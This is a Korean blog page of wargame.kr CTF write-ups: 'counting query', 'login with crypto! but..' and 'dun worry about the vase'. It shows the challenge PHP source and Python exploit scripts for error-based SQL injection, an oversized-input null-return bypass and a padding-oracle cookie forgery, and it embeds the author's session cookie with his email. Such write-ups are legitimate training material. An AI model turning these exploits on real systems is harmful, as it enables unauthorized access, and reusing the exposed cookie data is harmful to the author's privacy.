'Wargame/wargame.kr'에 해당되는 글 36건

일 년인가 만에 wargame.kr에 들어가 보니 새로운 문제가 7개 정도 추가돼있었다.


추가된 문제 중에 웹이 딱 하나 있길래 구경해봤는데 엄청 재밌게 풀다가 출근해야 되는데 거의 밤을 새버렸다.


원래 롸업 올리려고 했는데 추가된 문제라 그런가 공개된 롸업도 하나도 없고 솔버도 적은 것 같아서 나중에 롸업들 좀 풀리면 정리해둔거 올려야겠다.


  


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr pw crack  (0) 2018.05.10
wargame.kr counting query  (0) 2018.05.10
wargame.kr login with crypto! but..  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,



마지막 남은 문제다. 어떻게 풀지는 다 생각해놨는데 클라이언트 IP가 내 IP가 아니고 이상한 고정된 아이피로 박혀있어서 문제를 풀 수가 없다. 문제가 깨졌나 일단 문의를 했는데 깨진거 풀리면 마저풀어보거나 깨졌으면 여기까지만 풀고 마무리지어야겠다.

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr lazy judge  (1) 2019.07.31
wargame.kr counting query  (0) 2018.05.10
wargame.kr login with crypto! but..  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,
<?php
 
if (isset($_GET['view-source'
])) {
     
show_source(__FILE__
);
     exit();
 }
 include(
"./inc.php"); 
// database connect.
 
include("../lib.php"); 
// include for auth_code function.

 
ini_set('display_errors',false
);

 function 
err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"
); }
 function 
uniq($data){ return md5($data.uniqid
());}
 function 
make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)"
);}
 function 
counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')"
);}
 function 
pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"
); }
 function 
count_init($id) { return mysql_query("delete from login_count where id='$id'"
); }
 function 
t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"
); };

 if(empty(
$_POST['id']) || empty($_POST['pw']) || empty($_POST['type'
])){
  
err("Parameter Error :: missing"
);
 }

 
$id=mysql_real_escape_string($_POST['id'
]);
 
$ps=mysql_real_escape_string($_POST['pw'
]);
 
$type=mysql_real_escape_string($_POST['type'
]);
 
$ip=$_SERVER['REMOTE_ADDR'
];

 
sleep(2); 
// not Bruteforcing!!

 
if($id!=$ip
){
  
err("SECURITY : u can access with allotted id only"
);
 }

 
$row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"
));
 if(
$row[0]!=1
){
  if(
false === make_id($id
)){
   
err("DB Error :: create user error"
);
  }
 }
 
 
$row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"
));
 
$log_count = (int)$row[0
];
 if(
$log_count >= 4
){
  
pw_change($id
);
  
count_init($id
);
  
err("SECURITY : bruteforcing detected - password is changed"
);
 }
 
 
t_table($id); 
// don`t access the other account

 
if(preg_match("/all_user_accounts/i",$type
)){
  
err("SECURITY : don`t access the other account"
);
 }

 
counting($id); 
// limiting number of query

 
if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"
)){
  
err("DB Error :: ".mysql_error
());
 }

 
$row=mysql_fetch_array($result
);
 
 if(empty(
$row['user_id'
])){
  
err("Login Error :: not found your `user_id` or `password`"
);
 }

 echo 
"welcome <b>$id</b> !! (Login count = $log_count)"
;
 
 
$row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"
));

 
//patched 04.22.2015
 
if (empty($ps)) err("DB Error :: data not found.."
);

 if(
$row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"
; }

?>

 

문제의 코든데 type파라미터에서 SQLi가 대놓고 터진다. 코드를 좀 더 보면 쿼리를 4번날리면 패스워드가 초기화되서 3번안에 현재 패스워드값을 구한다음 인증하면 된다. 어차피 에러를 친절히 뿌려줘서 에러베이스드로 뽑으면되기때문에 3번갈필요도없이 2번이면 패스워드 구하고 인증까지 가능하다.

 

별다른 필터도 없어서 그냥 바로 데이터를 뽑으려고 했는데 간단한 문제가 두가지정도 있었다.

 

일단 데이터를 뽑을 때 (select ps from t_user) 요런식으로 데이터부분을 서브쿼리형태로 지정해주면 Can't reopen table: 't_user' 요런 에러가 반겨줬다. 찾아보니 임시테이블은 동시에 두군데 이상에서 참조할 수 없어 발생한다고 한다. 이건 근데 어차피 SQLI가 터지는 쿼리의 테이블이 t_user니까 ps로 바로 뽑으면 되서 문제될게 없었다.

 

여기서 두번째 문제가 발생했는데 내가 젤먼저 썻던 에러베이스 구문인 extractvalue, updatexml에서 서브쿼리 형태로 데이터를 뽑지않고 다이렉트로 컬럼명을 써주게 되면 Only constant XPATH queries are supported 요런에러가 뜨면서 데이터가 안뽑혔다.

 

즉 데이터 부분을 서브쿼리로 지정하지 않고 컬럼명을 다이렉트로 쓴 상태로 데이터를 뽑을 수 있는 에러베이스드 구문이 필요했는데 기존의 정리해논 group by사용하는 구문으로 시도해보니 데이터가 잘 뽑혔다.

 

요런식으로 간단하게 코드짜서 익스했다.


import urllib2

import sys


def request(data):

    url = "http://wargame.kr:8080/counting_query/login_ok.php"

    req = urllib2.Request(url,data)

    req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')

    req.add_header('Cookie','ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22da47b74cdce1c92a638a96208d90976b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525879816%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22JeonYoungSin%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22eorms36%40hanmail.net%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2223138%22%3B%7D465203728384ff49206716bba2df3b1475ab103f')

    response = urllib2.urlopen(req).read()

    if "bruteforcing detected" in str(response):

        print "Login Count 4 Fail.."

        sys.exit(1)

    return response



payload = "id=10.0.2.2&pw=123&type="+urllib2.quote("1 or row(1,1)>(select count(*),concat(ps,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1)-- x")

result = request(payload).split("'")[1]

result = result[:len(result)-1]

print "[*]Find PS = "+result


payload = "id=10.0.2.2&pw=" + result + "&type=2"

result1 = request(payload).split(':')[1]

print "[*]Find Flag = " + result1.split('<')[0]

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr lazy judge  (1) 2019.07.31
wargame.kr pw crack  (0) 2018.05.10
wargame.kr login with crypto! but..  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

 <?php


if (isset($_GET['view-source'])) {
    
show_source(__FILE__);
    exit();
}

include(
"../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)

create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);

********************************************************/

function db_conn(){
 
mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 
mysql_select_db("login_with_crypto_but");
}

function 
init(){
 
db_conn();
 
$password crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 
mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 
mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing

function enc($str){
 
$s_key "L0V3LySH:butsheismyxgf..";
 
$s_vector_iv mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DESMCRYPT_MODE_ECB), MCRYPT_RAND);
 
$en_str mcrypt_encrypt(MCRYPT_3DES$s_key$strMCRYPT_MODE_ECB$s_vector_iv);
 
$en_base64 base64_encode($en_str);
 
$en_hex bin2hex($en_str);
 return 
$en_hex;
}

function 
sucker_enc($str){
 for(
$i=0;$i<8;$i++) $str enc($str);
 return 
$str;
}

function 
get_password($user,$ssn){
 
db_conn();
 
$user mysql_real_escape_string($user);
 
$ssn  mysql_real_escape_string($ssn);
 
$result mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 
$row mysql_fetch_array($result);
 if (
$row === false) {
  die(
"there is not valid account!");
 }
 return 
$row[0]; 
}

ini_set("display_errors"true);

if( (isset(
$_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 
sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!

 
if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){

  if(
$_POST['user'] == "admin"){
   echo 
"Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo 
"Login Success. but you r not 'admin'..";
  }
 }else{
  echo 
"Login Failed";
 }

}

?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>



코드를 보면 핵심적인 부분이 바로 이부분인데


if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){


이걸 참으로 만들려면 get_password함수가 SQLI자체가 불가능하기 때문에 느슨한 비교를 하고 있는걸 통해 뭔가를 만들어내야 할 것 같았다.


pass값으로는 줄 수 있는게 딱히 없었고 get_password의 리턴값을 false나 null로 만들어야 할 것 같았다. 근데 false는 함수내에서 리턴이 될 수 없도록 비교하는 부분이 있었고 어떻게든 null을 리턴하게 만들어야 했는데 이를 가능하게 하려면 PHP Overflow를 이용해주면 된다.


get_password 함수를 잘 보면 sucker_enc 함수 내에서 enc함수를 8회 반복 호출하면서 ssn값을 3DES암호화를 한다. 이 때 일정길이 이상의 ssn값을 받아 이 작업을 하게 되면 암호화과정에서 BOF가 발생하면서 에러가 터져 mysql_query 실행 결과가 false가 리턴되고 false를 통해 mysql_fetch_array를 실행하게되면 null이 리턴되서 최종적으로 get_password 리턴결과가 null이 된다.


요렇게 BOF를 통해 null을 리턴한후 pass값을 공백으로 보내주면 아래와같은 느슨한 비교로 인해 




if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){


요 구문이 참이되고 플래그가 나오는데 문자열길이가 너무 길면 Allowed memory size of 134217728 bytes exhausted (tried to allocate 51197953 bytes) 요런 에러가 뜨고 너무 적으면 BOF가 안터지기 때문에 둘 사이의 적당한 문자열 길이를 테스트해보면서 넣어주면된다. 


요런식으로 코드짜서 익스했다.


import urllib2
import sys

def request(data):
url = "http://wargame.kr:8080/login_with_crypto_but/index.php"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22da47b74cdce1c92a638a96208d90976b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525879816%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22JeonYoungSin%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22eorms36%40hanmail.net%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2223138%22%3B%7D465203728384ff49206716bba2df3b1475ab103f')
response = urllib2.urlopen(req).read()
return response


payload = "user=admin&ssn="+"0"*100000+"&pass="
result = request(payload)
print "[*]Find Flag "+result

 


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr pw crack  (0) 2018.05.10
wargame.kr counting query  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
wargame.kr zairo  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

wargame.kr CustomOS

2018. 5. 10. 00:09

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

wargame.kr DLL with notepad

2018. 5. 9. 21:13

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

wargame.kr zairo

2018. 5. 9. 21:12

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

들어가보면 로그인 창하나가 나오고 로그인해보면 다음과 같이 세션을 할당받은 후 다시 메인페이지로 요청을 하는데 이 때 세션값을 통해 guest로 로그인된 것을 확인을 하는 것을 볼 수 있고 admin으로 로그인을 하면 된다.

 

id password 입력할때 injection일 터질거라고 생각하고 시도해봤지만 통하지 않았고 세션값을 어떻게 조작해야될거란걸 알 수 있었다.

 

세션값을 보면 base64로 인코딩된 값 2개가 붙어있는걸 볼 수 있고 임의의값으로 변경을해보면 패딩이 실패했다는 메시지가 뜬다.

 

딱봐도 Oracle Padding attack이다.

 

로직을 판단해보면 로그인 후 할당받은 base64인코딩된 세션값은 IV와 IV와 평문text를 통해 암호화된 값이라고 판단할 수 있고 Oracle Padding Attack을 통해 IntermedirayValue 값을 알아낸 후 원본 평문 텍스트를 구하여 이를 서버가 admin으로 판단할 수 있는 값으로 변경한 다음 IV를 다시 재세팅해서 보내주면 될 것 같았다.

코드를 짜서 돌려보니 다음과 같이 나왔다.

 

 

코드


import requests

def exploit(payload):
url = "http://wargame.kr:8080/dun_worry_about_the_vase/main.php"
headers = {"Cookie":"L0g1n="+payload}
result = requests.get(url,headers=headers).text
print result
if "padding error" not in result:
return True
else:
return False


iv = ["\x00","\x00","\x00","\x00","\x00","\x00","\x00","\x00"]
wonbon_iv = "tmp8cbAU4IA=".decode("base64").encode("hex")
enc = "aFAD3Z6xbrU="
iv_xor_env = ""
for j in range(1,9):
for i in range(0,257):
iv[8-j] = chr(i)
brute_iv = ("".join(iv)).encode("base64").replace("\n","")
if exploit(brute_iv+enc)==True:
iv_xor_env += chr(j^i)
print iv_xor_env[::-1].encode("hex")

for k in range(0,j):
iv[7-k] = chr(ord(iv_xor_env[k])^(j+1))
print "".join(iv).encode("hex")
break

iv_xor_env = iv_xor_env[::-1].encode("hex")
dec_text = ""
exploit_iv = ""
for i in range(0,len(wonbon_iv),2):
dec_text += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + wonbon_iv[i:i + 2], 16))
print dec_text
replace_text = dec_text.replace("guest","admin").encode("hex")
for i in range(0,len(iv_xor_env),2):
exploit_iv += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + replace_text[i:i + 2], 16))

replace_text = exploit_iv.encode("base64").replace("\n","")
print replace_text

exploit(replace_text+enc)
 

Oracle Padding Attack 개념익힌 후 연습겸 풀어봤는데 내가봐도 코드가 더럽다. ㅋ 코딩좀 많이많이 해봐야겠다. 

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr zairo  (0) 2018.05.09
wargame.kr Crypto Crackme Basic  (0) 2018.05.09
wargame.kr mini TBR  (0) 2018.01.08
wargame.kr adm1nkyj  (0) 2018.01.08
wargame.kr jff3_magic  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Secuinside CTF 문제였던 것 같다. 소스를 볼수 있는 주소가 있어서 다운받아봤다.

Functions.php 파일을 보면 다음과 같이 DB에서 뽑아온 path값이 hacked가 되어야 한다.  

get_layout을 호출하는 index.php를 보면 extract를 통해 get방식으로 넘긴 값을 변수화 하고 이를 통해 세팅된 $_skin 변수값이 get_layout함수의 인자로 넘어간다.

다음과 같이 _skin값을 조작해서 hacked를 리턴시키려 했는데 magic_quotes_gpc가 걸려있는지 제대로 안먹혔다.

그래서 아예 디비설정자체를 내 DB로 연결시켜서 hacked를 리턴시키도록 만들면 될 것 같았다.
먼저 테이블이랑 컬럼 데이터 세팅해주고 외부에서 붙을 수 있도록 권한 설정을 해줬다.

마지막으로 요렇게 날려주면 인증값이 날라온당.


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr Crypto Crackme Basic  (0) 2018.05.09
wargame.kr dun worry about the vase  (0) 2018.01.08
wargame.kr adm1nkyj  (0) 2018.01.08
wargame.kr jff3_magic  (0) 2018.01.08
Wargame.kr keypad CrackMe  (0) 2018.01.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,